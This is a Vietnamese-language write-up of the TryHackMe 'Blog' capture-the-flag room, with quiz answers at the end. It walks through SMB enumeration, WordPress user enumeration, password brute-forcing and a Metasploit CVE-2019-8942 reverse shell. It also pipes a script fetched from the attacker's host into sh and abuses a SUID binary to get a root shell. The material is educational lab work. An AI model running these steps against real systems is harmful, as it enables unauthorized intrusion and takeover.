TryHackMe - Blog
Kiểm tra tệp nhị phân để tìm mã?
Giới thiệu
Cá nhân tôi KHÔNG khuyên sử dụng WordPress trừ khi thực sự bắt buộc.
Số lượng lỗ hổng được phát hiện hằng ngày là khủng khiếp.
Ban đầu, tôi không nghĩ đây là một thử thách Trung bình, nhưng sau khi phát hiện ra tệp nhị phân và bắt đầu phân tích nó, tôi nhận ra thử thách này không hề đơn giản.
Nmap
Hãy bắt đầu bằng việc quét với Nmap:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
$ nmap -T4 -n -sC -sV -Pn -p- 10.10.139.64
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 57:8a:da:90:ba:ed:3a:47:0c:05:a3:f7:a8:0a:8d:78 (RSA)
| 256 c2:64:ef:ab:b1:9a:1c:87:58:7c:4b:d5:0f:20:46:26 (ECDSA)
|_ 256 5a:f2:62:92:11:8e:ad:8a:9b:23:82:2d:ad:53:bc:16 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
| http-robots.txt: 1 disallowed entry
|_/wp-admin/
|_http-title: Billy Joel's IT Blog – The IT blog
|_http-generator: WordPress 5.0
|_http-server-header: Apache/2.4.29 (Ubuntu)
139/tcp open netbios-ssn Samba smbd 3.X - 4.X (workgroup: WORKGROUP)
445/tcp open netbios-ssn Samba smbd 4.7.6-Ubuntu (workgroup: WORKGROUP)
Service Info: Host: BLOG; OS: Linux; CPE: cpe:/o:linux:linux_kernel
Host script results:
| smb-security-mode:
| account_used: guest
| authentication_level: user
| challenge_response: supported
|_ message_signing: disabled (dangerous, but default)
| smb2-security-mode:
| 3:1:1:
|_ Message signing enabled but not required
| smb2-time:
| date: 2025-02-28T14:11:25
|_ start_date: N/A
| smb-os-discovery:
| OS: Windows 6.1 (Samba 4.7.6-Ubuntu)
| Computer name: blog
| NetBIOS computer name: BLOG\x00
| Domain name: \x00
| FQDN: blog
|_ System time: 2025-02-28T14:11:25+00:00
|_nbstat: NetBIOS name: BLOG, NetBIOS user: <unknown>, NetBIOS MAC: <unknown> (unknown)
Các cổng đang mở:
22/tcp
80/tcp
139/tcp
445/tcp
Trinh sát
Vì các cổng SMB đang mở, hãy quét các Samba share bằng enum4linux.
1
$ enum4linux -a 10.10.139.64
Chúng ta có thể thấy share của Billy.
1
2
3
print$ Disk Printer Drivers
BillySMB Disk Billy's local SMB Share
IPC$ IPC IPC Service (blog server (Samba, Ubuntu))
Hãy kết nối với share này và tải xuống các tệp có sẵn.
1
2
3
4
5
6
7
8
9
10
11
12
$ smbclient \\\\10.10.139.64\\BillySMB\\
Password for [WORKGROUP\rene]:
Try "help" to get a list of possible commands.
smb: \> ls
. D 0 Tue May 26 20:17:05 2020
.. D 0 Tue May 26 19:58:23 2020
Alice-White-Rabbit.jpg N 33378 Tue May 26 20:17:01 2020
tswift.mp4 N 1236733 Tue May 26 20:13:45 2020
check-this.png N 3082 Tue May 26 20:13:43 2020
15413192 blocks of size 1024. 9790060 blocks available
smb: \>
Bây giờ, chúng ta có thể kiểm tra các tệp. Tôi sẽ thực hiện theo cách sau:
- Mount share vào thư mục cục bộ
- Rời khỏi thư mục rồi truy cập lại để làm mới nội dung
1
2
3
4
5
$ sudo mount -t cifs //10.10.139.64/BillySMB /home/rene/tryhackme/blog
$ cd ..
$ cd blog
$ ls
Alice-White-Rabbit.jpg check-this.png tswift.mp4
Hãy kiểm tra các tệp.
1
$ xdg-open Alice-White-Rabbit.jpg
1
$ xdg-open check-this.png
Mã QR dẫn chúng ta đến https://www.youtube.com/watch?v=eFTLKWw542g -> bài hát We Didn’t Start the Fire
Và video là một con dê đang hét theo bài hát :D
Hãy kiểm tra các hình ảnh bằng steghide.
Được rồi, công cụ yêu cầu passphrase, nhưng chúng ta không biết nó.
Trích xuất một số thông tin:
1
2
3
4
5
6
7
8
9
10
$ steghide --info Alice-White-Rabbit.jpg
"Alice-White-Rabbit.jpg":
format: jpeg
capacity: 1.8 KB
Try to get information about embedded data ? (y/n) y
Enter passphrase:
embedded file "rabbit_hole.txt":
size: 48.0 Byte
encrypted: rijndael-128, cbc
compressed: yes
Có vẻ đây chỉ là một rabbit hole…
Hãy truy cập trang web 10.10.139.64.
Nó trông giống như một trang web WordPress tiêu chuẩn.
Có một công cụ rất hữu ích dành cho các trang web WordPress tên là wpscan, cho phép chúng ta liệt kê tên người dùng. Hãy sử dụng nó.
1
$ wpscan --url http://10.10.139.64 --enumerate u
Chúng ta tìm thấy 2 người dùng:
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
[i] User(s) Identified:
[+] bjoel
| Found By: Wp Json Api (Aggressive Detection)
| - http://10.10.139.64/wp-json/wp/v2/users/?per_page=100&page=1
| Confirmed By:
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
[+] kwheel
| Found By: Wp Json Api (Aggressive Detection)
| - http://10.10.139.64/wp-json/wp/v2/users/?per_page=100&page=1
| Confirmed By:
| Author Id Brute Forcing - Author Pattern (Aggressive Detection)
| Login Error Messages (Aggressive Detection)
Hãy thử brute-force. Chúng ta thậm chí có thể làm điều đó bằng wpscan.
1
wpscan --url http://10.10.139.64 -P /usr/share/wordlists/rockyou.txt -U "kwheel"
Biểu mẫu đăng nhập chỉ hoạt động thông qua blog.thm, vì vậy chúng ta cần thêm địa chỉ IP vào tệp /etc/hosts để có thể truy cập bằng hostname.
1
2
echo "10.10.139.64 blog.thm" | sudo tee -a /etc/hosts
10.10.139.64 blog.thm
Tôi đã thử tải tệp reverse shell lên phần media nhưng có vẻ không hoạt động.
Sau khi tìm hiểu một chút về việc tải hình ảnh lên WordPress, tôi phát hiện lỗ hổng CVE-2019-8942.
Hãy mở Metasploit và kiểm tra xem có module nào dành cho lỗ hổng này hay không.
1
2
3
4
5
6
7
8
9
msfconsole
msf6 > search CVE-2019-8942
Matching Modules
================
# Name Disclosure Date Rank Check Description
- ---- --------------- ---- ----- -----------
0 exploit/multi/http/wp_crop_rce 2019-02-19 excellent Yes WordPress Crop-image Shell Upload
May mắn thay, có một module phù hợp, vì vậy hãy sử dụng nó.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
msf6 > use use exploit/multi/http/wp_crop_rce
msf6 exploit(multi/http/wp_crop_rce) > options
Module options (exploit/multi/http/wp_crop_rce):
Name Current Setting Required Description
---- --------------- -------- -----------
PASSWORD yes The WordPress password to authenticate with
Proxies no A proxy chain of format type:host:port[,type:host:port][...]
RHOSTS yes The target host(s), see https://docs.metasploit.com/docs/using-metas
ploit/basics/using-metasploit.html
RPORT 80 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing connections
TARGETURI / yes The base path to the wordpress application
THEME_DIR no The WordPress theme dir name (disable theme auto-detection if provid
ed)
USERNAME yes The WordPress username to authenticate with
VHOST no HTTP server virtual host
Payload options (php/meterpreter/reverse_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LHOST 192.168.133.135 yes The listen address (an interface may be specified)
LPORT 4444 yes The listen port
Hãy thiết lập các tùy chọn bắt buộc.
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
msf6 exploit(multi/http/wp_crop_rce) > set PASSWORD <CENSORED>
msf6 exploit(multi/http/wp_crop_rce) > set RHOSTS blog.thm
msf6 exploit(multi/http/wp_crop_rce) > set username kwheel
msf6 exploit(multi/http/wp_crop_rce) > set LHOST 10.11.75.122
msf6 exploit(multi/http/wp_crop_rce) > exploit
[*] Started reverse TCP handler on 10.11.75.122:4444
[*] Authenticating with WordPress using kwheel:<CENSORED>...
[+] Authenticated with WordPress
[*] Preparing payload...
[*] Uploading payload
[+] Image uploaded
[*] Including into theme
[*] Sending stage (40004 bytes) to 10.10.139.64
[*] Attempting to clean up files...
[*] Meterpreter session 1 opened (10.11.75.122:4444 -> 10.10.139.64:45118) at 2025-02-28 16:29:26 +0100
meterpreter >
Và chúng ta đã có một Meterpreter session.
Hãy chuyển sang TTY shell bằng lệnh shell.
Có vẻ như tệp flag user.txt lần này không thực sự là flag.
Leo thang đặc quyền
Hãy leo thang đặc quyền.
sudo -l không hoạt động, vì vậy hãy thử tải linpeas.sh từ máy của chúng ta xuống và chạy nó.
Đừng quên khởi động máy chủ HTTP cục bộ trong thư mục chứa linpeas.sh.
1
curl 10.11.75.122/linpeas.sh | sh
Thật bất ngờ, không có gì hữu ích…
Sau khi tìm kiếm trên Google, tôi phát hiện https://github.com/Anon-Exploiter/SUID3NUM, vì vậy hãy tải nó xuống và chạy.
1
curl 10.11.75.122/suid3num.py
Cuối cùng cũng có thứ gì đó hữu ích.
Hãy tải tệp xuống. Khởi động máy chủ HTTP cục bộ trên máy mục tiêu tại thư mục chứa tệp checker.
1
$ wget http://10.10.139.64:8000/checker
Hãy phân tích tệp nhị phân bằng công cụ Ghidra.
Sau một thời gian dài điều tra, có vẻ chúng ta đã tìm thấy đoạn mã cần thiết.
Chức năng của mã:
- Lấy giá trị của biến môi trường
adminbằnggetenv("admin") - Kiểm tra xem biến admin đã được thiết lập hay chưa
- Nếu admin chưa được thiết lập, tức là NULL, in ra
"Not an Admin." - Nếu admin đã được thiết lập, tiếp tục sang bước tiếp theo
- Leo thang đặc quyền bằng cách gọi
setuid(0)để đặt user ID thành root, nếu được phép - Tạo một shell mới bằng cách chạy
system("/bin/bash")để mở root shell
Về cơ bản, chúng ta chỉ cần đặt biến admin thành bất kỳ giá trị nào rồi chạy checker.
1
2
3
admin=rene /usr/sbin/checker
id
uid=0(root) gid=33(www-data) groups=33(www-data)
Root Flag
Bây giờ, chúng ta có thể lấy tất cả các flag.
User:
Root:
Các câu hỏi còn lại:
Tệp user.txt được tìm thấy ở đâu?
Câu trả lời:
1
/media/usb
Billy đang sử dụng CMS nào?
Câu trả lời:
1
Wordpress
Phiên bản của CMS trên là gì?
1
5.0








